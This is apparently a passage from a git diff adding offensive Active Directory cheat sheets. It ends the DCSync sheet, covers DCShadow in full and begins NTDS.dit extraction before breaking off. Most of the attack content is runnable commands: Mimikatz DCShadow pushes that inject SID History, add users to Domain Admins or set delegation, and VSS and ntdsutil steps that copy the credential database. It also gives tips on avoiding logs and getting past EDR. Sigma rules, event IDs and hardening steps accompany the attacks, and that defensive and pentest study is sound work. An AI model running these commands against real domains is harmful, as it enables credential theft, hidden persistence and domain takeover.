[Wizard Spider](https://attack.mitre.org/groups/G0102/) | +| **Persistence** | [T1098](https://attack.mitre.org/techniques/T1098/) | [.xxx — Account Manipulation](https://attack.mitre.org/techniques/T1098/) | Grant DCSync replication rights to a controlled account for persistent access | [APT29](https://attack.mitre.org/groups/G0016/), [FIN7](https://attack.mitre.org/groups/G0046/) | +| **Defense Evasion** | [T1550](https://attack.mitre.org/techniques/T1550/) | [.002 — Pass the Hash](https://attack.mitre.org/techniques/T1550/002/) | Use extracted NT hashes for lateral movement without cracking | Widely used by most APT groups | + +> [!tip]+ Real-World APT Usage +> `fas:Lightbulb` +> 1. **APT29 (Cozy Bear / SolarWinds)** — Used DCSync extensively during the SolarWinds supply chain compromise to extract KRBTGT hashes and forge Golden Tickets for persistent access across federated environments +> 2. **Wizard Spider (Ryuk/Conti)** — Standard post-exploitation step after obtaining DA; DCSync → offline cracking → credential reuse across victim networks +> 3. **FIN6** — Used Mimikatz DCSync in POS-targeting campaigns to extract service account credentials for lateral movement to payment processing systems + +*** + +## 🧪 Lab Setup Hints + +> [!example]+ Minimal Lab for DCSync Practice +> `ris:Command` +> 1. **DC**: Windows Server 2019/2022 VM — promote to DC for `lab.local`; create 5-10 test users with varied passwords +> 2. **Attacker (Linux)**: Kali/Parrot VM — install Impacket (`pipx install impacket`), NetExec (`pipx install netexec`), bloodyAD +> 3. **Attacker (Windows)**: Windows 10/11 VM domain-joined — download Mimikatz, SharpKatz, PowerView, DSInternals +> 4. **Network**: All VMs on same host-only / NAT network; ensure RPC (135 + 49152-65535) and LDAP (389) are accessible +> 5. **Setup DCSync rights test**: Create a low-priv user `testdcsync`, grant it `WriteDACL` on the domain object via `dsacls`, then practice self-granting DCSync rights +> 6. **Enable auditing**: Configure Advanced Audit Policy on the DC to generate 4662 events so you can see what detection looks like +> 7. *Estimated setup time: 45-60 minutes from scratch; 15 minutes with pre-built snapshots* + +> [!tip]+ Quick Lab Commands +> `fas:Lightbulb` +> 1. Create test user: `New-ADUser -Name "svc_backup" -SamAccountName svc_backup -AccountPassword (ConvertTo-SecureString 'Password1' -AsPlainText -Force) -Enabled $true` +> 2. Grant WriteDACL for testing: `Add-DomainObjectAcl -TargetIdentity "DC=lab,DC=local" -PrincipalIdentity testdcsync -Rights WriteDacl` +> 3. Enable 4662 auditing: `auditpol /set /subcategory:"Directory Service Access" /success:enable` +> 4. Verify: Run DCSync → check Event Viewer → Security → filter for Event ID 4662 + +*** + +## 🔗 Attack Chain Context + +``` +[DCSync] ──→ Complete Credential Extraction + │ + ├──→ 🎫 Extract KRBTGT hash → Golden Ticket (Attack #11) → Permanent DA + ├──→ 🔑 Extract service account hashes → Silver Tickets (Attack #12) + ├──→ 🔓 Extract all user hashes → offline cracking → password reuse + ├──→ 💻 Pass-the-Hash with any extracted hash (Attack #4) + ├──→ 📋 ACL persistence — grant DCSync rights to low-priv user (Attack #65) + ├──→ 🔗 Prereqs: GenericAll on Domain Object → self-grant DCSync ACE + ├──→ 🆚 Compare: NTDS.dit extraction (Attack #39) — requires DC access + ├──→ 🔄 Related: DCShadow (Attack #38) — write instead of read + └──→ 💀 Defeated by: audit replication ACEs, monitor 4662, MDI, network detection +``` + +**DCSync is the standard method for credential extraction** in every AD pentest engagement. It has completely replaced NTDS.dit extraction for most scenarios because it requires no code execution on the DC, leaves no disk artifacts, and can target individual accounts selectively. Combined with a Golden Ticket forged from the extracted KRBTGT hash, DCSync provides the attacker with permanent, undetectable domain access. + +*** + +> ✅ **Attack #37 — DCSync complete.** diff --git a/src/content/sheets/active-directory/attack-38-dcshadow-attack.md b/src/content/sheets/active-directory/attack-38-dcshadow-attack.md @@ -0,0 +1,417 @@ +--- +title: "Attack #38 — DCShadow Attack" +description: "DCShadow allows an attacker to register a rogue Domain Controller in Active Directory and push malicious changes via the legitimate replication protocol…" +category: active-directory +tags: ["active-directory", "credential-access"] +tools: ["Impacket", "Mimikatz", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #38 — DCShadow Attack.md" +--- +# 🔵 Attack #38 — DCShadow Attack + +*** + +## 📖 How It Works + +DCShadow allows an attacker to **register a rogue Domain Controller** in Active Directory and push malicious changes via the legitimate replication protocol. Unlike DCSync (which reads), DCShadow **writes** — it can modify any AD object (add users to groups, set SPNs, modify ACLs, inject SID History) while bypassing most security logs because changes appear as normal DC replication. + +The attack was presented at [BlueHat IL 2018](https://www.dcshadow.com/) by Benjamin Delpy (Mimikatz author) and Vincent Le Toux. It works by temporarily registering the attacker's machine as a Domain Controller in Active Directory by creating the required objects in the Configuration partition — specifically an `nTDSDSA` object under `CN=Servers,CN=<Site>,CN=Sites,CN=Configuration` and the corresponding SPN entries (`E3514235-4B06-11D1-AB04-00C04FC2DCD2/<hostname>` for [MS-DRSR](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/) replication, and `GC/<hostname>` for Global Catalog). Once registered, the rogue DC pushes changes via `DrsReplicaAdd` to force legitimate DCs to pull replication data from the attacker — the changes then propagate across the entire forest as normal multi-master replication. + +> [!info]+ Technical Deep-Dive — nTDSDSA Registration & Replication Push +> `ris:FileList` +> 1. **Phase 1 — DC Registration**: The SYSTEM-context Mimikatz instance creates an `nTDSDSA` object under `CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=corp,DC=local` — this is the object that defines a machine as a Domain Controller +> 2. **SPNs Added**: Two critical SPNs are set on the attacker's computer object: +> - `E3514235-4B06-11D1-AB04-00C04FC2DCD2/<attacker-hostname>/<domain>` (DRSUAPI replication SPN) +> - `GC/<attacker-hostname>/<domain>` (Global Catalog SPN) +> 3. **Phase 2 — Change Injection**: The attacker stages the desired AD modifications (attribute changes) in a local NTDS-like structure +> 4. **Phase 3 — Replication Push**: The DA-context Mimikatz instance calls `DrsReplicaAdd` to notify real DCs that the rogue DC has changes to replicate, triggering the **Knowledge Consistency Checker (KCC)** to initiate inbound replication from the attacker +> 5. **Phase 4 — Cleanup**: After replication completes, the `nTDSDSA` object and SPNs are removed — the rogue DC registration is temporary (seconds to minutes) +> 6. *Because changes arrive via replication, they are stamped with a USN and `originating_dsa_invocation_id` — standard AD forensics tools see them as legitimate replication events* + +### Key Difference: DCSync vs DCShadow + +| Aspect | DCSync (Attack #37) | DCShadow | +|---|---|---| +| **Direction** | Read (pull credentials) | Write (push changes) | +| **Protocol Function** | `DRSGetNCChanges` (pull) | `DrsReplicaAdd` (push notification) | +| **Purpose** | Credential extraction | Persistence / stealthy modification | +| **Requirements** | Replication rights | Domain Admin + two Mimikatz instances | +| **Detection** | Event 4662 (well-documented) | Very difficult — appears as replication | +| **Artifacts** | Network only | Temporary nTDSDSA object + SPN changes | + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Domain Admin** | Required to register a rogue DC (create nTDSDSA object in Configuration partition) | +| **Two Mimikatz instances** | One as SYSTEM (RPC server for replication), one as DA (push trigger) | +| **Local admin on a domain-joined machine** | Machine will be temporarily registered as a DC in AD | +| **Network access to real DCs** | RPC replication ports (TCP 135 + dynamic) must be reachable in both directions | + +*** + +## 🛠️ Tools + +| Tool | Platform | Version | Notes | +|---|---|---|---| +| [Mimikatz](https://github.com/gentilkiwi/mimikatz) | Windows | ≥ 2.2.0 (Jan 2018+) | `lsadump::dcshadow` — the only full implementation | +| [SharpDCShadow](https://github.com/KevinJClark/SharpDCShadow) | Windows (.NET) | Proof-of-concept | .NET port for C2 `execute-assembly`; limited attribute support | +| [Set-DCShadowPermissions](https://github.com/samratashok/nishang) (Nishang) | Windows/PowerShell | Latest | Grants minimum DCShadow permissions to a non-DA user for persistence | +| [lsadump::dcshadow /stack](https://github.com/gentilkiwi/mimikatz) | Windows | ≥ 2.2.0 | Stack multiple attribute changes in a single replication push | + +> [!tip]+ Tool Limitations +> `fas:Lightbulb` +> 1. DCShadow is **Mimikatz-only** in practice — no Impacket or Linux implementation exists because it requires running a local RPC server and registering the machine as a DC +> 2. The attack requires **two separate sessions** running simultaneously on the same machine — one elevated to SYSTEM, one with DA token +> 3. [SharpDCShadow](https://github.com/KevinJClark/SharpDCShadow) is a proof-of-concept with limited functionality — Mimikatz remains the authoritative implementation +> 4. *No remote execution possible — the attacker must have interactive/C2 access to the machine being registered as a rogue DC* + +*** + +## ⏱️ Time-to-Execute Estimates + +| Operation | Time | Notes | +|---|---|---| +| DC registration (nTDSDSA creation) | **5–15 seconds** | Depends on AD replication latency | +| Single attribute modification + push | **10–30 seconds** | Including registration, push, and cleanup | +| Multiple stacked changes (`/stack`) | **15–45 seconds** | Stack changes, single replication push | +| Full cleanup (nTDSDSA removal) | **5–10 seconds** | Automatic after `/push` completes | + +*** + +## 💻 Full Commands + +### 🔴 Basic DCShadow — Modify Single Attribute + +```powershell +# ── Terminal 1: Run as SYSTEM — Start the rogue DC RPC server ──────────────── +mimikatz.exe +privilege::debug +!+ +!processtoken +lsadump::dcshadow /object:targetuser /attribute:primaryGroupID /value:512 +# Registers machine as a temporary DC and prepares the change +# (primaryGroupID 512 = Domain Admins) + +# ── Terminal 2: Run as DA — Push the replication ────────────────────────────── +mimikatz.exe +privilege::debug +lsadump::dcshadow /push +# Forces replication of the change to real DCs +``` + +### 🔴 Useful Attribute Modifications + +```powershell +# ── Add SID History (stealthy privilege escalation) ────────────────────────── +# Terminal 1 (SYSTEM): +lsadump::dcshadow /object:targetuser /attribute:sidHistory /value:S-1-5-21-...-500 +# Adds Enterprise Admin SID to sidHistory — user inherits EA privileges +# without being a member of the EA group + +# ── Modify SPN (set up for Kerberoasting — Attack #2) ──────────────────────── +# Terminal 1 (SYSTEM): +lsadump::dcshadow /object:targetuser /attribute:servicePrincipalName /value:MSSQLSvc/db01.corp.local:1433 +# Makes the account Kerberoastable — request TGS and crack offline + +# ── Set AdminCount (bypass AdminSDHolder protection) ────────────────────────── +# Terminal 1 (SYSTEM): +lsadump::dcshadow /object:targetuser /attribute:adminCount /value:1 +# Marks user as admin — SDProp will apply AdminSDHolder DACL + +# ── Modify userAccountControl (disable pre-auth for AS-REP roasting) ───────── +# Terminal 1 (SYSTEM): +lsadump::dcshadow /object:targetuser /attribute:userAccountControl /value:4194304 +# Sets DONT_REQ_PREAUTH flag — enables AS-REP Roasting (Attack #3) + +# ── Add member to group (e.g., add user to Domain Admins) ──────────────────── +# Terminal 1 (SYSTEM): +lsadump::dcshadow /object:"CN=Domain Admins,CN=Users,DC=corp,DC=local" /attribute:member /value:"CN=targetuser,CN=Users,DC=corp,DC=local" + +# ── Modify msDS-AllowedToDelegateTo (configure delegation) ─────────────────── +# Terminal 1 (SYSTEM): +lsadump::dcshadow /object:svc_account /attribute:msDS-AllowedToDelegateTo /value:cifs/DC01.corp.local +# Sets constrained delegation → attacker can impersonate any user to cifs/DC01 + +# ALL of the above: Then run in Terminal 2 (DA): +# lsadump::dcshadow /push +``` + +### 🔴 Stacking Multiple Changes (Single Replication Push) + +```powershell +# ── Terminal 1 (SYSTEM) — Stack multiple modifications ─────────────────────── +lsadump::dcshadow /stack /object:targetuser /attribute:primaryGroupID /value:512 +lsadump::dcshadow /stack /object:targetuser /attribute:sidHistory /value:S-1-5-21-...-519 +lsadump::dcshadow /stack /object:targetuser /attribute:servicePrincipalName /value:fake/spn +# All three changes queued — pushed in a single replication cycle + +# ── Terminal 2 (DA) — Push all stacked changes at once ─────────────────────── +lsadump::dcshadow /push +# Single replication event containing all three modifications +``` + +### 🔴 Grant DCShadow Permissions to Non-DA User (Persistence) + +```powershell +# ── Using Nishang Set-DCShadowPermissions ───────────────────────────────────── +Import-Module .\Set-DCShadowPermissions.ps1 + +# Grant minimum permissions for DCShadow to a low-priv user +Set-DCShadowPermissions -FakeDC YOURWORKSTATION -SamAccountName targetuser ` + -Username low_user -Verbose + +# This grants: +# 1. Write access to nTDSDSA objects in the Configuration partition +# 2. Write access to the target computer object SPNs +# 3. Replication-related extended rights +# Now low_user can perform DCShadow without full DA privileges +``` + +### 🔵 Verify DCShadow Changes Took Effect + +```powershell +# ── Check if primaryGroupID was changed ─────────────────────────────────────── +Get-ADUser targetuser -Properties primaryGroupID, memberOf | Select-Object primaryGroupID, memberOf + +# ── Check SID History ───────────────────────────────────────────────────────── +Get-ADUser targetuser -Properties sidHistory | Select-Object -ExpandProperty sidHistory + +# ── Check replication metadata (which DC made the change) ───────────────────── +repadmin /showobjmeta DC01 "CN=targetuser,CN=Users,DC=corp,DC=local" +# Look for originating DSA that doesn't match a real DC = DCShadow indicator +``` + +*** + +## 🎯 OPSEC Tips + +1. **DCShadow is the stealthiest AD modification technique** — changes arrive via the replication protocol and are indistinguishable from legitimate multi-master replication in most SIEM setups +2. **The nTDSDSA registration is temporary** — Mimikatz removes it after the push completes; if the tool crashes, manual cleanup is needed (`ntdsutil → metadata cleanup`) +3. **Changes bypass standard LDAP-based security logs** — Event IDs 4662/5136/5137 (directory service modification) are NOT generated because the change didn't come through LDAP; it came through replication +4. **Stack changes with `/stack`** to minimize the number of replication events — one push with 10 changes is stealthier than 10 separate pushes +5. **Use for persistence, not initial escalation** — you already need DA; DCShadow is for maintaining access and avoiding detection +6. **SID History injection is the most powerful DCShadow use case** — the user gets EA/DA privileges without group membership, which most auditing tools miss +7. **Time attacks during legitimate replication windows** — AD replicates every 15 minutes (intra-site) by default; pushing changes during expected replication windows reduces anomaly signals + +### 📊 OpSec Ranking + +| Modification Type | Stealth | Persistence Value | Detection Risk | Notes | +|---|---|---|---|---| +| SID History injection | 🟢 High | 🟢 High | 🟢 Low | Most tools don't audit sidHistory changes via replication | +| primaryGroupID change | 🟡 Medium | 🟡 Medium | 🟡 Medium | Group membership changes may trigger membership audits | +| SPN modification | 🟢 High | 🟡 Medium | 🟢 Low | Enables Kerberoasting; SPN changes rarely monitored | +| userAccountControl | 🟡 Medium | 🟡 Medium | 🟡 Medium | Disabling pre-auth is suspicious if audited | +| Direct group member add | 🔴 Low | 🟢 High | 🔴 High | Most orgs monitor DA/EA group membership | +| msDS-AllowedToDelegateTo | 🟢 High | 🟢 High | 🟢 Low | Constrained delegation rarely audited | + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4742** | Security Log (DC) | Computer account modified — `nTDSDSA` object created (rogue DC registration) | +| **4928/4929** | Security Log (DC) | Active Directory Replica Source Naming Context established/removed — rogue DC participating in replication | +| **4662** | Security Log (DC) | DS Access on Configuration partition objects (nTDSDSA creation) — requires DS Access auditing | +| **Metadata** | Replication | Changes originating from a non-DC source — check `repadmin /showmeta` for unknown `originating_dsa_invocation_id` | + +> [!important]+ The Key Detection Challenge +> `fas:TriangleExclamation` +> 1. DCShadow changes **do NOT generate standard modification events** (5136/5137) because they arrive via replication, not LDAP +> 2. The primary detection vector is monitoring the **Configuration partition** for new `nTDSDSA` objects and SPN changes on computer accounts +> 3. Network-level detection (monitoring for `DrsReplicaAdd` RPC calls from non-DC IPs) is the most reliable method +> 4. *If your SIEM only monitors Security logs on DCs, DCShadow changes will be completely invisible* + +### 🔎 Sigma Rules + +```yaml +# ── SigmaHQ — DCShadow (nTDSDSA Object Creation) ──────────────────────────── +title: DCShadow — Rogue Domain Controller Registration +id: f3b4c644-4e5d-4e8f-9c3a-84f5c2c07e5c +status: experimental +logsource: + product: windows + service: security +detection: + selection: + EventID: 4742 + keywords: + - 'nTDSDSA' + - 'E3514235-4B06-11D1-AB04-00C04FC2DCD2' + condition: selection and keywords +level: critical +tags: + - attack.defense_evasion + - attack.t1207 +``` + +```yaml +# ── SigmaHQ — Replication Source Added from Non-DC ─────────────────────────── +title: Active Directory Replication from Non-DC Source +id: a1b2c3d4-rogue-dc-replication-monitor +logsource: + product: windows + service: security +detection: + selection: + EventID: + - 4928 + - 4929 + condition: selection +level: high +tags: + - attack.defense_evasion + - attack.t1207 +``` + +### 🛡️ EDR-Specific Detections + +> [!warning]+ Microsoft Defender for Identity (MDI) +> `ris:Windows` +> 1. **"Suspected DCShadow attack (domain controller promotion)"** — detects when a non-DC machine registers itself as a Domain Controller +> 2. **"Suspected DCShadow attack (domain controller replication request)"** — detects `DrsReplicaAdd` calls from non-DC machines +> 3. MDI monitors the Configuration partition in real-time for nTDSDSA object creation +> 4. *MDI is the most reliable DCShadow detection tool available — it has specific behavioral detections that SIEM rules alone cannot replicate* + +> [!warning]+ CrowdStrike Falcon +> `ris:Radar` +> 1. **"DCShadow Activity Detected"** — monitors for Mimikatz `lsadump::dcshadow` behavioral patterns +> 2. Falcon detects the combination of SYSTEM token manipulation (`!processtoken`) + DRSUAPI RPC server registration +> 3. Process tree analysis flags the dual-Mimikatz pattern (two `mimikatz.exe` instances with different token contexts) + +> [!warning]+ Elastic Security +> `ris:FileList` +> 1. Rule: **"Potential DCShadow Activity"** — monitors for nTDSDSA object creation events and SPN modifications containing the DRSUAPI UUID +> 2. Rule: **"Active Directory Replication from Anomalous Source"** — correlates replication traffic source IPs against known DC list +> 3. *Requires Windows Event Forwarding (WEF) of Configuration partition change events to Elasticsearch* + +*** + +## 🔬 Forensic Artifacts + +| Artifact | Location | Details | +|---|---|---| +| **nTDSDSA object (transient)** | `CN=Servers,CN=<Site>,CN=Sites,CN=Configuration` | Created during attack, removed after `/push` — may be captured in AD snapshots or tombstoned objects | +| **SPN modifications** | Computer object in AD | `E3514235-4B06-11D1-AB04-00C04FC2DCD2/<hostname>` SPN temporarily added; check `msDS-ReplAttributeMetaData` for modification timestamps | +| **Replication metadata** | `repadmin /showmeta` on modified objects | `originating_dsa_invocation_id` will reference the rogue DC's invocation ID — this ID won't match any real DC | +| **Event 4742** | DC Security Log | Computer account modification for SPN changes; look for DRSUAPI-related SPNs being added then quickly removed | +| **Event 4928/4929** | DC Security Log | Replication source naming context established from non-DC — definitive DCShadow indicator if captured | +| **USN journal** | NTDS.dit `msDS-ReplAttributeMetaData` | Each replicated change has a USN with the originating DC — unknown DC = DCShadow | +| **Tombstone objects** | AD Recycle Bin | If enabled, the deleted nTDSDSA object may be recoverable for 180 days (default tombstone lifetime) | + +*** + +> [!important]+ Windows Server Version Differences +> `ris:Windows` +> 1. **Server 2012 R2**: DCShadow works without additional obstacles; minimal replication monitoring by default +> 2. **Server 2016+**: Windows Defender Credential Guard does NOT prevent DCShadow (it doesn't interact with LSASS or local credentials) +> 3. **Server 2019**: No new DCShadow-specific mitigations; MDI deployment is the primary recommendation +> 4. **Server 2022**: Microsoft added enhanced replication logging capabilities, but they require explicit configuration +> 5. **Server 2025**: Improved Configuration partition change auditing — `nTDSDSA` object creation generates additional telemetry when Advanced Audit Policy is configured +> 6. *DCShadow remains effective on all Windows Server versions — the mitigation is monitoring, not a technical patch* + +*** + +## 🔒 Hardening & Prevention + +```powershell +# ── 1. Monitor Configuration partition for nTDSDSA object changes ───────────── +# Enable auditing on the Sites container in Configuration partition +$sitesPath = "AD:CN=Sites,CN=Configuration,DC=corp,DC=local" +$acl = Get-Acl $sitesPath +# Add SACL for Write access → generates Event 4662 on nTDSDSA creation + +# ── 2. Enable Advanced Audit Policy — DS Access ────────────────────────────── +auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable +auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable +auditpol /set /subcategory:"Detailed Directory Service Replication" /success:enable + +# ── 3. Monitor SPN changes on computer accounts ────────────────────────────── +# GPO → Computer Configuration → Windows Settings → Security Settings → +# Advanced Audit Policy Configuration → DS Access → +# ✅ Audit Directory Service Changes: Success +# Alert on SPNs containing "E3514235-4B06-11D1-AB04-00C04FC2DCD2" being added to non-DC accounts + +# ── 4. Deploy MDI sensors on ALL Domain Controllers ────────────────────────── +# MDI is the single most effective DCShadow detection tool +# https://learn.microsoft.com/en-us/defender-for-identity/ + +# ── 5. Restrict who can modify the Configuration partition ──────────────────── +# By default, only Enterprise Admins and Domain Admins can create objects here +# Audit and minimize membership in these groups + +# ── 6. Enable AD Recycle Bin (capture deleted nTDSDSA objects) ──────────────── +Enable-ADOptionalFeature -Identity 'CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=local' ` + -Scope ForestOrConfigurationSet -Target 'corp.local' -Confirm:$false + +# ── 7. Regularly audit replication metadata ─────────────────────────────────── +# Script to check for unknown originating DSAs across all user objects: +$dcs = (Get-ADDomainController -Filter *).Name +Get-ADUser -Filter * -Properties msDS-ReplAttributeMetaData | + ForEach-Object { + $meta = $_.'msDS-ReplAttributeMetaData' | ConvertFrom-ADMetadata + $meta | Where-Object { $_.LastOriginatingDsaDN -notmatch ($dcs -join '|') } + } + +# ── 8. Network-level replication monitoring ─────────────────────────────────── +# Deploy Zeek/Bro or network TAP to monitor DRSUAPI traffic +# Alert on DrsReplicaAdd calls from non-DC IP addresses +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| `ERROR kuhl_m_lsadump_dcshadow_domain_info` | Cannot find domain information; machine may not be domain-joined | Verify machine is domain-joined (`systeminfo \| findstr Domain`); ensure DNS resolves the DC FQDN | +| Terminal 1 hangs on "RPC server waiting" | Firewall blocking inbound RPC on the attacker machine | Ensure Windows Firewall allows inbound TCP 135 + dynamic RPC ports on the machine running Terminal 1 | +| `/push` returns "Error 0x2105" (ACCESS_DENIED) | Terminal 2 is not running as DA or the token is wrong | Verify DA token: `whoami /groups` should show Domain Admins; use `token::elevate /domainadmin` if needed | +| Changes don't appear on other DCs | Replication push succeeded to one DC but inter-site replication is slow | Run `repadmin /syncall /AeD` on the target DC to force replication to all partners | +| nTDSDSA object not cleaned up | Mimikatz crashed before cleanup; rogue DC still registered | Manual cleanup: `ntdsutil → metadata cleanup → remove selected server`; or delete the object via ADSIEdit | +| "SYSTEM token required" error | Terminal 1 not running as SYSTEM (`!+` / `!processtoken` failed) | Use `psexec -s -i cmd.exe` to get a SYSTEM shell, then run Mimikatz from there | +| SID History injection fails | Target account has adminCount=1 (SDProp resets the ACL) | Modify sidHistory on non-protected accounts, or clear adminCount first via a separate DCShadow push | +| AV/EDR blocks Mimikatz execution | Defender or EDR detects mimikatz.exe on disk | Use reflective PE loading (e.g., `Invoke-Mimikatz`), packed variants, or execute from C2 via `execute-assembly` with SharpDCShadow | + +*** + +## 🗺️ MITRE ATT&CK + +| Tactic | Technique ID | Sub-technique | Procedure | APT Groups | +|---|---|---|---|---| +| **Defense Evasion** | [T1207](https://attack.mitre.org/techniques/T1207/) | Rogue Domain Controller | Register rogue DC via nTDSDSA, push malicious replication changes that bypass standard logging | Technique is public since 2018; no specific APT attribution yet | +| **Persistence** | [T1098](https://attack.mitre.org/techniques/T1098/) | Account Manipulation | Inject SID History, modify group membership, or change delegation settings via replication | Red team operations and advanced persistent threats | +| **Privilege Escalation** | [T1134](https://attack.mitre.org/techniques/T1134/) | [.005 — SID-History Injection](https://attack.mitre.org/techniques/T1134/005/) | Use DCShadow to inject Enterprise Admin SID into a low-priv user's sidHistory attribute | Demonstrated in red team operations | + +> [!tip]+ Real-World Context +> `fas:Lightbulb` +> 1. DCShadow is primarily a **red team / advanced attacker technique** — it requires DA access, making it a persistence/defense evasion tool rather than an escalation vector +> 2. No public APT attribution exists as of 2025, but the technique is available to any adversary with DA-level access +> 3. **Purple team value**: DCShadow is an excellent test for validating MDI deployment and replication monitoring capabilities +> 4. *The fact that DCShadow has no public APT usage doesn't mean it's not used — it means it's difficult to detect and attribute* + +*** + +## 🔗 Attack Chain Context + +``` +[DCShadow] ──→ Stealthy AD Modifications via Fake DC Replication + │ + ├──→ 📝 Push changes that appear as legitimate replication + ├──→ 🔗 Requires DA → used for persistence, not initial escalation + ├──→ 🔐 SID History injection → invisible privilege escalation (Attack #65) + ├──→ 🎯 SPN modification → set up Kerberoasting (Attack #2) + ├──→ 🔓 Disable pre-auth → set up AS-REP Roasting (Attack #3) + ├──→ 🔄 Related: DCSync (Attack #37) reads; DCShadow writes + ├──→ 📋 Delegation abuse via msDS-AllowedToDelegateTo (Attack #16) + ├──→ 💻 Requires Mimikatz on a domain-joined workstation + └──→ 💀 Defeated by: MDI, monitor Configuration partition, replication metadata auditing, AD Recycle Bin +``` + +*** + +> ✅ **Attack #38 — DCShadow complete.** diff --git a/src/content/sheets/active-directory/attack-39-ntds-dit-extraction-and-dumping.md b/src/content/sheets/active-directory/attack-39-ntds-dit-extraction-and-dumping.md @@ -0,0 +1,457 @@ +--- +title: "Attack #39 — NTDS.dit Extraction and Dumping" +description: "The NTDS.dit file is the Active Directory database stored on every Domain Controller at C:\\Windows\\NTDS\\ntds.dit. It contains all domain credentials (NT…" +category: active-directory +tags: ["active-directory", "kerberos", "credential-access", "hashing"] +tools: ["NetExec", "Impacket", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #39 — NTDS.dit Extraction and Dumping.md" +--- +# 🔵 Attack #39 — NTDS.dit Extraction & Dumping + +*** + +## 📖 How It Works + +The `NTDS.dit` file is the **Active Directory database** stored on every Domain Controller at `C:\Windows\NTDS\ntds.dit`. It contains all domain credentials (NT hashes, Kerberos keys, password history) for every account. Unlike DCSync (Attack #37, network-based), NTDS.dit extraction requires **local access to a DC** and involves copying the database file along with the SYSTEM registry hive for decryption. + +> [!info]+ Technical Deep-Dive — NTDS.dit Database Internals +> `ris:FileList` +> 1. NTDS.dit uses the **Extensible Storage Engine (ESE / JET Blue)** database format — the same engine used by Exchange and Windows Search +> 2. The database contains multiple tables, but the critical one is the **`datatable`** — it stores all AD objects and their attributes, including the `unicodePwd` (NT hash), `supplementalCredentials` (Kerberos keys, WDigest, cleartext if reversible encryption is enabled), and `lmPwdHistory`/`ntPwdHistory` (password history) +> 3. **Encryption layers**: Credential attributes are encrypted with the **Password Encryption Key (PEK)**, which itself is encrypted with the **Boot Key (SYSKEY)** derived from the SYSTEM registry hive (`HKLM\SYSTEM\CurrentControlSet\Control\Lsa\{JD,Skew1,GBG,Data}`) +> 4. **Decryption flow**: Extract SYSTEM hive → derive Boot Key → decrypt PEK from NTDS.dit header → use PEK to decrypt individual credential attributes +> 5. *The file is locked by the NTDS service while the DC is running — you cannot simply copy it; you must use Volume Shadow Copy, ntdsutil IFM, or other bypass methods* +> 6. The database also contains the `link_table` (group memberships), `sd_table` (security descriptors), and `msysobjects` (schema definitions) + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Local admin / SYSTEM on DC** | Required for VSS/ntdsutil/esentutl methods | +| **Or domain admin credentials** | For remote extraction methods (secretsdump, NetExec) | +| **SYSTEM registry hive** | Required for offline decryption — contains the Boot Key | + +*** + +## 🛠️ Tools + +| Tool | Platform | Version | Notes | +|---|---|---|---| +| **vssadmin** | Windows (built-in) | All versions | Volume Shadow Copy — most common local extraction method | +| **ntdsutil** | Windows (built-in) | All versions | Install From Media (IFM) — creates backup containing NTDS.dit + SYSTEM hive | +| [diskshadow](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow) | Windows (built-in) | Server 2008+ | Scriptable VSS alternative — useful for non-interactive shells | +| **esentutl** | Windows (built-in) | All versions | ESE database utility — can copy locked files | +| **wmic** | Windows (built-in) | Pre-2025 | `shadowcopy create` — another VSS trigger method | +| [Impacket — secretsdump.py](https://github.com/fortra/impacket) | Linux | ≥ 0.10.0 | Remote NTDS dump via DRSUAPI or VSS | +| [NetExec](https://github.com/Pennyw0rth/NetExec) | Linux | ≥ 1.1.0 | `--ntds vss` or `--ntds drsuapi` — remote one-liner | +| [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) | Windows/PowerShell | ≥ 4.7 | `Get-ADDBAccount` — offline NTDS.dit parsing in PowerShell | +| [NTDSDumpEx](https://github.com/zcgonvh/NTDSDumpEx) | Windows | Latest | Lightweight C# NTDS.dit parser | +| [Invoke-NinjaCopy](https://github.com/PowerShellMafia/PowerSploit) | Windows/PowerShell | PowerSploit 3.0 | Copies locked files by reading raw NTFS volume — bypasses file locks | + +*** + +## ⏱️ Time-to-Execute Estimates + +| Operation | Time | Notes | +|---|---|---| +| VSS shadow copy creation | **10–60 seconds** | Depends on drive size | +| ntdsutil IFM backup | **30–120 seconds** | Creates full backup directory | +| File copy from shadow copy | **5–30 seconds** | Depends on NTDS.dit file size (100MB to 10GB+) | +| Remote dump via secretsdump | **1–30 minutes** | Depends on domain size and network speed | +| Offline parsing with secretsdump | **30–300 seconds** | CPU-bound; depends on number of accounts | + +*** + +## 💻 Full Commands + +### 🔴 Volume Shadow Copy (Most Common Method) + +```powershell +# ── Create shadow copy of C: ────────────────────────────────────────────────── +vssadmin create shadow /for=C: +# Note the Shadow Copy Volume Name (e.g., \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1) + +# ── Copy NTDS.dit from shadow copy ─────────────────────────────────────────── +copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit + +# ── Copy SYSTEM hive (needed for decryption) ───────────────────────────────── +reg save HKLM\SYSTEM C:\Temp\SYSTEM + +# ── Cleanup — delete shadow copy ───────────────────────────────────────────── +vssadmin delete shadows /shadow={shadow-id} /quiet +``` + +### 🔴 ntdsutil (Built-in Microsoft Tool) + +```powershell +# ── Create IFM backup (contains NTDS.dit + registry) ───────────────────────── +ntdsutil "activate instance ntds" "ifm" "create full C:\Temp\ntds_backup" quit quit +# NTDS.dit → C:\Temp\ntds_backup\Active Directory\ntds.dit +# SYSTEM → C:\Temp\ntds_backup\registry\SYSTEM +``` + +### 🔴 diskshadow (Scriptable VSS — Good for Non-Interactive Shells) + +```powershell +# ── Create diskshadow script ───────────────────────────────────────────────── +# Write to C:\Temp\shadow.txt: +# set context 